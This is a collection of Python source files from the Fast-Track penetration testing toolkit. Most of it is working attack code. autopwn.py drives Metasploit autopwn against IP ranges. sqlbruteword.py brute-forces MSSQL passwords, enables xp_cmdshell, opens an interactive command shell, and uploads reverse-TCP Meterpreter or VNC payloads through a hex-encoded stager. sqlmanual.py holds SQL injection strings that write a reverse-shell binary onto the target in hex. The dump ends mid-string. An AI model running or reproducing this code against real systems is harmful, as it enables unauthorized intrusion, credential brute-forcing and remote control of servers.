#!/usr/bin/env python import os import re import time # Compile a regex for faster searching re_distrofile = re.compile ('BackTrack.+') def get_version(): readversion=file("bin/version/version","r") for line in readversion: version=line.rstrip() return version # # Class for colors # class bcolors: PURPLE = '\033[95m' BLUE = '\033[94m' GREEN = '\033[92m' YELLOW = '\033[93m' RED = '\033[91m' BOLD = '\033[1m' ENDC = '\033[0m' def disable(self): self.PURPLE = '' self.BLUE = '' self.GREEN = '' self.YELLOW = '' self.RED = '' self.ENDC = '' def print_banner(): time.sleep(1) os.system("clear") print bcolors.BLUE + """ [---] [---] [---] Fast Track: A new beginning [---] [---] Written by:""" + bcolors.RED+""" David Kennedy """+bcolors.BLUE+"""("""+bcolors.YELLOW+"""ReL1K"""+bcolors.BLUE+""") [---] [---] Lead Developer:""" + bcolors.RED+""" Joey Furr """+bcolors.BLUE+"""("""+bcolors.YELLOW+"""j0fer"""+bcolors.BLUE+""") [---] [---] Version: """ + bcolors.RED + """4.0.1""" + bcolors.BLUE +""" [---] [---] Homepage: """ + bcolors.YELLOW + """http://www.secmaniac.com""" + bcolors.BLUE + """ [---] [---] [---] """ + bcolors.ENDC ### OLD CODE #def print_banner(): # os.system("clear") # print ''' ***************************************************************** # ** ** # ** Fast-Track - A new beginning... ** # ** Version: 4.0.2 ** # ** Written by: David Kennedy (ReL1K) ** # ** Lead Developer: Joey Furr (j0fer) ** # ** http://www.secmaniac.com ** # ** ** # *****************************************************************'''
2,162
Python
.py
53
36.962264
145
0.387804
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,362
autopwn.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/.svn/text-base/autopwn.py.svn-base
#!/usr/bin/env python import pexpect import sys import os import time import re definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass try: ipaddr=sys.argv[3] except IndexError: include.print_banner() ipaddr=raw_input(""" Metasploit Autopwn Automation: http://www.metasploit.com This tool specifically piggy backs some commands from the Metasploit Framework and does not modify the Metasploit Framework in any way. This is simply to automate some tasks from the autopwn feature already developed by the Metasploit crew. Simple, enter the IP ranges like you would in NMap i.e. 192.168.1.-254 or 192.168.1.1/24 or whatever you want and it'll run against those hosts. Additionally you can place NMAP commands within the autopwn ip ranges bar, for example, if you want to scan even if a host "appears down" just do -PN 192.168.1.1-254 or whatever...you can use all NMap syntaxes in the Autopwn IP Ranges portion. When it has completed exploiting simply type this: sessions -l (lists the shells spawned) sessions -i <id> (jumps you into the sessions) Example 1: -PN 192.168.1.1 Example 2: 192.168.1.1-254 Example 3: -P0 -v -A 192.168.1.1 Example 4: 192.168.1.1/24 Enter the IP ranges to autopwn or (q)uit FastTrack: """) if ipaddr == 'quit' or ipaddr == 'q': print "\n\nExiting Fast-Track autopwn...\n\n" sys.exit() # Spawn instance of msfconsole try: option1=sys.argv[4] except IndexError: option1=raw_input(""" Do you want to do a bind or reverse payload? Bind = direct connection to the server Reverse = connection originates from server 1. Bind 2. Reverse Enter number: """) if option1 == 'quit' or option1 == 'q': print "\n\n Exiting Fast-Track autopwn...\n\n" sys.exit() if option1 == '1': option1='-b' if option1 == '2': option1='-r' print " Launching MSFConsole and prepping autopwn..." # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line try: child1 = pexpect.spawn('msfconsole') # load sqlite3 child1.sendline ('db_driver postgresql') # run actual port scans child1.sendline ('''db_nmap %s ''' % (ipaddr)) # run actual exploitation child1.sendline ('db_autopwn -p -t -e %s' % (option1)) child1.sendline ('sleep 5') child1.sendline ('jobs -K') child1.sendline ('\n\n\n') child1.sendline ('sessions -l') child1.sendline ('echo "If it states No sessions, then you were unsuccessful. Simply type sessions -i <id> to jump into a shell"') # jump to pid child1.interact() except Exception, e: print e print "\n Exiting Fast-Track...\n"
2,963
Python
.py
85
31.070588
133
0.700454
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,363
sqlbruteword.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/.svn/text-base/sqlbruteword.py.svn-base
#!/usr/bin/env python import _mssql import sys import os import time import re import subprocess import pexpect import socket definepath=os.getcwd() try: import psyco psyco.full() except ImportError: pass try: # scanfirst1=sys.argv[4] username=sys.argv[5] except IndexError: # scanfirst1=raw_input("Enter the IP Range to scan for SQL Scan (example 192.168.1.1-255): ") print ("Hit return for a default of 'sa'\n") username=raw_input("Enter username for SQL database (example:sa): ") if username == "": username = "sa" try: path=sys.argv[6] except IndexError: print ("\nNOTE: There is a default wordlist in bin/dict/wordlist.txt. By hitting enter will default this dictionary.\n") path=raw_input("Enter the path to the wordlist file: ") if path == "": path = ("bin/dict/wordlist.txt") # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line # Define payload delivery here import sqlping def Payload_Delivery(choice,jumptosession): try: ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ipaddr.connect(('google.com', 0)) ipaddr.settimeout(4) ipaddr=ipaddr.getsockname()[0] except Exception: print "No internet connection detected, please enter your IP Address in manually." ipaddr=raw_input("Enter your IP here: ") port=raw_input("What port do you want the payload to connect to you on: ") if choice=='2': print "Metasploit Reverse VNC Upload Detected.." print "Launching MSFCLI VNC Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit VNC Inject Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse VNC Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/vncinject/reverse_tcp LHOST=%s LPORT=%s AUTOVNC=true X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() print "Prepping 64KB Debug Bypass stager for delivery..." h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines() query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) for line1 in h2bread: line1=line1.rstrip() query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1)) printquery=mssql.execute_query(query5) temp=line1.replace("echo e ", "") print "Sending Payload: "+temp print "Converting our stager to an executable..." query5=("""xp_cmdshell 'debug<h2bdelivery'""") printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""") printquery=mssql.execute_query(query5) print "Stager delivery complete." print "Coverting Metasploit to hex." import binascii filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait() filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines() filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w") for line in fileopen: line=binascii.hexlify(line) filewrite.write(line) filewrite.close() print "Done with payload hex conversion." print "Splitting payload for delivery, this may take a couple..." fileopen=open("%s/bin/appdata/metasploithex" % (definepath)) createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait() filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w") while fileopen: a=fileopen.read(900).rstrip() if a == "": break filewrite.write(a) filewrite.write("\n") filewrite.close() query5=("""xp_cmdshell 'del metasploit*'""") printquery=mssql.execute_query(query5) fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines() import random randomgen=random.randrange(1,10000) for line in fileopen: line=line.rstrip() query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen)) printquery=mssql.execute_query(query5) print "Sending payload: "+line print "Metasploit payload delivered.." print "Converting our payload to binary, this may take a few..." query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'del h2b.exe'""") printquery=mssql.execute_query(query5) print "Launching payload, this could take up to a minute..." print "When finished, close the metasploit handler window to return to other compromised SQL Servers." query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) pause=raw_input("Press enter to return back to compromised SQL Servers.") if choice=='3': print "Metasploit Reverse Meterpreter Upload Detected.." print "Launching Meterpreter Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit Meterpreter Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse Meterpreter Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() print "Prepping 64KB Debug Bypass stager for delivery..." h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines() query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) for line1 in h2bread: line1=line1.rstrip() query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1)) printquery=mssql.execute_query(query5) temp=line1.replace("echo ", "") print "Sending Payload: "+temp print "Converting our stager to an executable..." query5=("""xp_cmdshell 'debug<h2bdelivery'""") printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""") printquery=mssql.execute_query(query5) print "Stager delivery complete." print "Coverting Metasploit to hex." import binascii filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait() filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines() filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w") for line in fileopen: line=binascii.hexlify(line) filewrite.write(line) filewrite.close() print "Done with payload hex conversion." print "Splitting payload for delivery, this may take a couple..." fileopen=open("%s/bin/appdata/metasploithex" % (definepath)) createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait() filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w") while fileopen: a=fileopen.read(900).rstrip() if a == "": break filewrite.write(a) filewrite.write("\n") filewrite.close() query5=("""xp_cmdshell 'del metasploit*'""") printquery=mssql.execute_query(query5) fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines() import random randomgen=random.randrange(1,10000) for line in fileopen: line=line.rstrip() query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen)) printquery=mssql.execute_query(query5) print "Sending payload: "+line print "Metasploit payload delivered.." print "Converting our payload to binary, this may take a few..." query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'del h2b.exe'""") printquery=mssql.execute_query(query5) print "Launching payload, this could take up to a minute..." print "When finished, close the metasploit handler window to return to other compromised SQL Servers." query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) pause=raw_input("Press enter to return back to compromised SQL Servers.") # choice 4 = metasploit reflective meterpreter payload if choice=='4': print "Metasploit Reflective Reverse Meterpreter Upload Detected.." print "Launching Meterpreter Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit Reflective Meterpreter Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/reflectivemeterpreter/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse Meterpreter Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/reflectivemeterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() print "Prepping 64KB Debug Bypass stager for delivery..." h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines() query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) for line1 in h2bread: line1=line1.rstrip() query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1)) printquery=mssql.execute_query(query5) temp=line1.replace("echo e ", "") print "Sending Payload: "+temp print "Converting our stager to an executable..." query5=("""xp_cmdshell 'debug<h2bdelivery'""") printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""") printquery=mssql.execute_query(query5) print "Stager delivery complete." print "Coverting Metasploit to hex." import binascii filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait() filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines() filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w") for line in fileopen: line=binascii.hexlify(line) filewrite.write(line) filewrite.close() print "Done with payload hex conversion." print "Splitting payload for delivery, this may take a couple..." fileopen=open("%s/bin/appdata/metasploithex" % (definepath)) createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait() filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w") while fileopen: a=fileopen.read(900).rstrip() if a == "": break filewrite.write(a) filewrite.write("\n") filewrite.close() query5=("""xp_cmdshell 'del metasploit*'""") printquery=mssql.execute_query(query5) fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines() import random randomgen=random.randrange(1,10000) for line in fileopen: line=line.rstrip() query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen)) printquery=mssql.execute_query(query5) print "Sending payload: "+line print "Metasploit payload delivered.." print "Converting our payload to binary, this may take a few..." query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'del h2b.exe'""") printquery=mssql.execute_query(query5) print "Launching payload, this could take up to a minute..." print "When finished, close the metasploit handler window to return to other compromised SQL Servers." query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) pause=raw_input("Press enter to return back to compromised SQL Servers.") # choice 5 = metasploit reflective vnc payload if choice=='5': print "Metasploit Reflective Reverse VNC Upload Detected.." print "Launching Meterpreter Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit Reflective VNC Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/reflectivevncinject/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse VNC Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/reflectivevncinject/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() print "Prepping 64KB Debug Bypass stager for delivery..." h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines() query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) for line1 in h2bread: line1=line1.rstrip() query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1)) printquery=mssql.execute_query(query5) temp=line1.replace("echo ", "") print "Sending Payload: "+temp print "Converting our stager to an executable..." query5=("""xp_cmdshell 'debug<h2bdelivery'""") printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""") printquery=mssql.execute_query(query5) print "Stager delivery complete." print "Coverting Metasploit to hex." import binascii filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait() filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines() filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w") for line in fileopen: line=binascii.hexlify(line) filewrite.write(line) filewrite.close() print "Done with payload hex conversion." print "Splitting payload for delivery, this may take a couple..." fileopen=open("%s/bin/appdata/metasploithex" % (definepath)) createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait() filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w") while fileopen: a=fileopen.read(900).rstrip() if a == "": break filewrite.write(a) filewrite.write("\n") filewrite.close() query5=("""xp_cmdshell 'del metasploit*'""") printquery=mssql.execute_query(query5) fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines() import random randomgen=random.randrange(1,10000) for line in fileopen: line=line.rstrip() query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen)) printquery=mssql.execute_query(query5) print "Sending payload: "+line print "Metasploit payload delivered.." print "Converting our payload to binary, this may take a few..." query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'del h2b.exe'""") printquery=mssql.execute_query(query5) print "Launching payload, this could take up to a minute..." print "When finished, close the metasploit handler window to return to other compromised SQL Servers." query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) pause=raw_input("Press enter to return back to compromised SQL Servers.") print "Brute forcing username: "+username+"\n" print "Be patient this could take awhile...\n" rmold=os.popen3("rm bin/appdata/sqlsuccesslist.txt;rm bin/appdata/*comp") try: time.sleep(2) for line in open('bin/appdata/sqlopen.txt','r').readlines(): counter=0 for line2 in open('%s' % (path),'r').readlines(): try: line2 = line2.rstrip() print ('Brute forcing password of %s on IP %s' % (line2,line)).rstrip() mssql = _mssql.connect('%s' % (line),'%s' % (username),'%s' % (line2)) counter=counter+1 print '\nSQL Server Compromised: "%s" with password of: "%s" on IP %s' % (username,line2,line) filewrites=open("bin/appdata/sqlsuccesslist.txt","a") line=line.rstrip() if counter == 1: filewrites.write("%s,%s,%s" % (username,line2,line)+ '\n') except Exception: pass except Exception: pass try: filewrites.close() except Exception: pass if os.path.isfile("bin/appdata/sqlsuccesslist.txt"): while 1==1: try: fileread=open("bin/appdata/sqlsuccesslist.txt","r").readlines() count=1 print "\n*******************************************\nThe following SQL Servers were compromised:\n*******************************************\n" for line in fileread: line=line.rstrip() line=tuple(line.split(",")) print str(count)+". "+str(line[2]).rstrip()+ " *** U/N: "+str(line[0]).rstrip()+" P/W: "+str(line[1]).rstrip()+" ***" compsystem=open("bin/appdata/%scomp" % (count), "w") compsystem.write("%s,%s,%s" % (line[2],line[0],line[1])) count=int(count)+1 except Exception: pass compsystem.close() print "\n*******************************************\n" print "To jump to a shell, enter the SQL Server number. \n\nExample: 1. 192.168.1.32 you would type 1" jumptosession=raw_input("\nEnter the number: ") if jumptosession == 'quit': print "\n\nExiting Fast-Track...\n\n" rmold=os.popen3("rm bin/appdata/*comp;rm bin/appdata/sqlsuccesslist.txt;rm sqlopen.txt;rm SqlScan.txt;rm sqlpassword") sys.exit() try: fileread2=file("bin/appdata/%scomp" % (jumptosession),"r").readlines() except Exception: print "\nEnter the number of the session only. Example 1. 192.168.1.32 you would enter 1" jumptosession=raw_input("\nEnter the number of the SQL Server to jump interactive with. Example 1: ") try: choice=sys.argv[7] except Exception: choice=raw_input("""Specify payload: 1. Standard Command Prompt 2. Metasploit Reverse VNC TCP (Requires Metasploit) 3. Metasploit Meterpreter (Requires Metasploit) 4. Metasploit Reflective Meterpreter DLL Injection (Requires Metasploit) 5. Metasploit Reflective VNC DLL Injection (Requires Metasploit) Enter number here: """) fileread2=file("bin/appdata/%scomp" % (jumptosession),"r").readlines() for line in fileread2: line=line.rstrip() line=tuple(line.split(",")) mssql = _mssql.connect('%s:1433' % (line[0]),'%s' % (line[1]),'%s' % line[2]) print "\nEnabling: XP_Cmdshell..." enablexp="EXEC sp_configure 'show advanced options', 1; RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;" enablexp2="RECONFIGURE;" try: printquery1=mssql.execute_query(enablexp) except Exception: pass try: printquery2=mssql.execute_query(enablexp2) except Exception: pass mssql.select_db('master') print "Finished trying to re-enable xp_cmdshell stored procedure if disabled.\n" if choice == '1': print 'Jumping you into a shell one moment..\n' print '\nYou can always type "quit" to continue on to a seperate server.\n' time.sleep(2) mssql.select_db('master') while 1 == 1 : commandprompt=raw_input("Enter your shell commands here: ") if commandprompt == 'quit' : break try: query3="xp_cmdshell '%s'" % commandprompt printquery=mssql.execute_query(query3) for line in mssql: line=str(line) match=re.search("""\(\(\(\'output\'\, 1\)\,\)\, -1\, \[\(""", line) if match: line=line.replace("""((('output', 1),), -1, [(""", "") line=line.replace(r"""\\\\\r""", "") line=line.replace("""(None""", "") line=line.replace("""('""", "") line=line.replace("""',),""", "\n") line=line.replace(""",)])""", "\n") line=line.replace(""",),""", "\n") line=line.replace("'","") line=line.replace(r"\r","") line=line.replace(r"\t","") line=line.replace("None","") line=line.replace(r"""The command completed with one or more errors.""", "\n") print "\n\nShell brought to you by Fast-Track: Happy pwning" + "\n\n"+line except Exception: pass if choice == '2': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if choice == '3': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if choice == '4': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if choice == '5': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if not os.path.isfile("bin/appdata/sqlsuccesslist.txt"): print "Sorry the brute force attack was unsuccessful. Better luck next time!\n" deloldfile=subprocess.Popen("rm sqlpassword 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm bin/appdata/1comp 2> /dev/null;rm bin/appdata/metasploit 2> /dev/null;rm metasploitdeliver 2> /dev/null;rm metasploithex 2> /dev/null;rm sqlsuccesslist.txt 2> /dev/null", shell=True).wait()
25,904
Python
.py
469
43.292111
305
0.607555
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,364
updateft.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/.svn/text-base/updateft.py.svn-base
#!/usr/bin/env python import time import os import sys import subprocess definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include include.print_banner() try: import psyco psyco.full() except ImportError: pass print "\n Updating Fast-Track, please wait...." time.sleep(3) try: print "\n Checking for the new versions of Fast-Track..." if os.path.isfile("%s/.svn/entries" % (definepath)): print " Previous subversion installation detection, checking SVN for new versions..." updatesvn=subprocess.Popen("svn update", shell=True).wait() print "\n\n Fast-Track is now running the latest version...\n\n" if not os.path.isfile("%s/.svn/entries" % (definepath)): print " Fast-Track installation is now pulling the SVN repository for installation...Wait a few moments..\n" rmold=subprocess.Popen("rm md5.txt 2> /dev/null", shell=True).wait() rmold2=subprocess.Popen("rm /active.txt 2> /dev/null", shell=True).wait() updatesvn=subprocess.Popen("svn co http://svn.secmaniac.com/fasttrack %s" % (definepath), shell=True).wait() print "\n Fast-Track is now running the latest version...\n\n" print (" NOTE: If you received an error, you will need to manually update Fast-Track. Simply type rm -rf * (from the Fast-Track directory) then type svn co http://svn.secmaniac.com/fasttrack .\n\n") except KeyboardInterrupt : print """\n\n Exiting Fast-Track...\n""" time.sleep(3) except Exception : print """\n Something went wrong when trying to update...Try again??\n""" time.sleep(5)
1,662
Python
.py
35
42.514286
210
0.679035
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,365
sqlmanual.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/.svn/text-base/sqlmanual.py.svn-base
#!/usr/bin/env python import socket import pexpect import os import time import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass try: targeturl=sys.argv[4] port=sys.argv[6] ipaddr=sys.argv[5] except IndexError: include.print_banner() print """ The manual portion allows you to customize your attack for whatever reason. You will need to designate where in the URL the SQL Injection is by using 'INJECTHERE So for example, when the tool asks you for the SQL Injectable URL, type: http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah """ targeturl=raw_input(""" Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible parameter Example: http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah <ctrl>-c to exit to Main Menu... Enter here: """) ipaddr=raw_input("Enter the IP Address of server with NetCat Listening: ") port=raw_input("Enter Port number with NetCat listening: ") #ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # # Had to break up into multiple different requests due to the size of the payload and URL request # # Binary2Hex code used from IllWill, very nice small reverse payload. # # While this may look a little ugly from a cleanliness perspective, theres a weird bug echoing files through SQL. When using >> it doubles whatever # the command you are entering, for example if you wanted ot echo blah, it would echo blah blah into the file, which caused a major issue when # getting the debug format right. # # So I got around the above problem by echoing individual text files and then typing them into one large one. This ended up working (phew). # # I ran the binary through olly as well as process explorer and filemon. It only makes one call out when executed and thats to the destiation thats # specified. Safe executable. # # Re-Enable XP_Cmdshell stored procedure just in case its disabled string1=(r"""';exec master..sp_addextendedproc "xp_cmdshell", "C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll";exec master..sp_configure "show advanced options", 1;RECONFIGURE;exec master..sp_configure "xp_cmdshell", 1;RECONFIGURE--""") # First portion, starting text files from a binary hex file using IllWill's small reverse payload. string2=(r"';exec master..xp_cmdshell 'echo n service.dll >1.txt';exec master..xp_cmdshell 'echo e 0100 >2.txt';exec master..xp_cmdshell 'echo 4d 5a 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 50 45 00 00 4c 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 df 42 00 00 10 00 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 00 00 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 >3.txt'--") string3=(r"';exec master..xp_cmdshell 'echo e 0180>4.txt'--") string4=(r"';exec master..xp_cmdshell 'echo 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 db 42 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >5.txt'--") string5=(r"';exec master..xp_cmdshell 'echo e 0200 >6.txt'--") string6=(r"';exec master..xp_cmdshell 'echo 00 00 00 00 00 00 00 00 4d 45 57 00 46 12 d2 c3 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 02 d2 75 db 8a 16 eb d4 00 10 00 00 00 40 00 00 ef 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 be 1c 40 40 00 8b de ad ad 50 ad 97 b2 80 a4 b6 80 ff 13 73 f9 33 c9 ff 13 73 16 33 c0 ff 13 73 21 b6 80 41 b0 10 ff 13 >7.txt'--") string7=(r"';exec master..xp_cmdshell 'echo e 0280 >8.txt'--") string8=(r"';exec master..xp_cmdshell 'echo 12 c0 73 fa 75 3e aa eb e0 e8 72 3e 00 00 02 f6 83 d9 01 75 0e ff 53 fc eb 26 ac d1 e8 74 2f 13 c9 eb 1a 91 48 c1 e0 08 ac ff 53 fc 3d 00 7d 00 00 73 0a 80 fc 05 73 06 83 f8 7f 77 02 41 41 95 8b c5 b6 00 56 8b f7 2b f0 f3 a4 5e eb 9b ad 85 c0 75 90 ad 96 ad 97 56 ac 3c 00 75 fb ff 53 f0 95 56 ad 0f c8 40 59 74 ec 79 07 ac 3c 00 75 fb 91 40 50 55 ff 53 f4 ab 75 e7 c3 00 00 00 00 00 >9.txt'--") string9=(r"';exec master..xp_cmdshell 'echo e 0300 >10.txt'--") string10=(r"';exec master..xp_cmdshell 'echo 33 